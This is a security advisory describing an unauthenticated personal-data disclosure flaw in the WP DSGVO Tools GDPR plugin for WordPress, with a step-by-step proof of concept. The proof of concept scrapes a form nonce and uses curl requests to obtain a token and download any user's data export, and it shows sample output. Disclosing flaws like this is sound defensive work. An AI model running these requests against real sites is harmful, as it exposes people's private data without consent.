WP DSGVO Tools (GDPR) < 3.1.40 – Unauthenticated Sensitive Information Disclosure via Subject Access Request | CVE 2026-11869

Description

The plugin does not perform an authorization check on the immediate-processing path of its data subject access request feature, allowing unauthenticated attackers to generate and download the full personal-data export (including name, postal address, phone number, email, and comment content) of any user, customer, or commenter by supplying their email address.

Proof of Concept

Tested on a stock single-site WordPress install with WP DSGVO Tools (GDPR) 3.1.39 (latest). Victim is an ordinary Subscriber user "victimuser" / victim@example.com (display name "Victim Target"). The attacker is fully unauthenticated (no cookies).

1. Ensure a published SAR form page exists. On a normal install the plugin's setup ("Create Page") does this; otherwise create and publish a page containing: [subject_access_request]

2. As an unauthenticated visitor, open that page and copy the hidden nonce from the form:
   <input type="hidden" id="_wpnonce" name="_wpnonce" value="29607d4f9d" />

3. As an unauthenticated user (no cookies), request the victim's data export and receive the token:
   curl -s "http://TARGET/wp-admin/admin-ajax.php" \
     --data-urlencode "action=subject-access-request" \
     --data-urlencode "_wpnonce=29607d4f9d" \
     --data-urlencode "email=victim@example.com" \
     --data-urlencode "dsgvo_checkbox=1" \
     --data-urlencode "process_now=1" \
     --data-urlencode "is_ajax=1"
   Response:
   {"success":"1", "zip_link":"http://TARGET/wp-admin/admin-ajax.php?action=download-subject-access-request&token=lOFA5wgROTyekvC2W2mm&file=zip", "pdf_link":"http://TARGET/wp-admin/admin-ajax.php?action=download-subject-access-request&token=lOFA5wgROTyekvC2W2mm&file=pdf"}

4. As an unauthenticated user, download the victim's personal-data export with the leaked token: 

curl -s "http://TARGET/wp-admin/admin-ajax.php?action=download-subject-access-request&token=lOFA5wgROTyekvC2W2mm&file=pdf" -o victim-export.pdf

The downloaded PDF contains the victim's personal data, for example:
User name victimuser
Display name Victim Target
Source: http://TARGET

Supplying any other email (for example the administrator's email) returns a token and export for that account, confirming arbitrary-email targeting.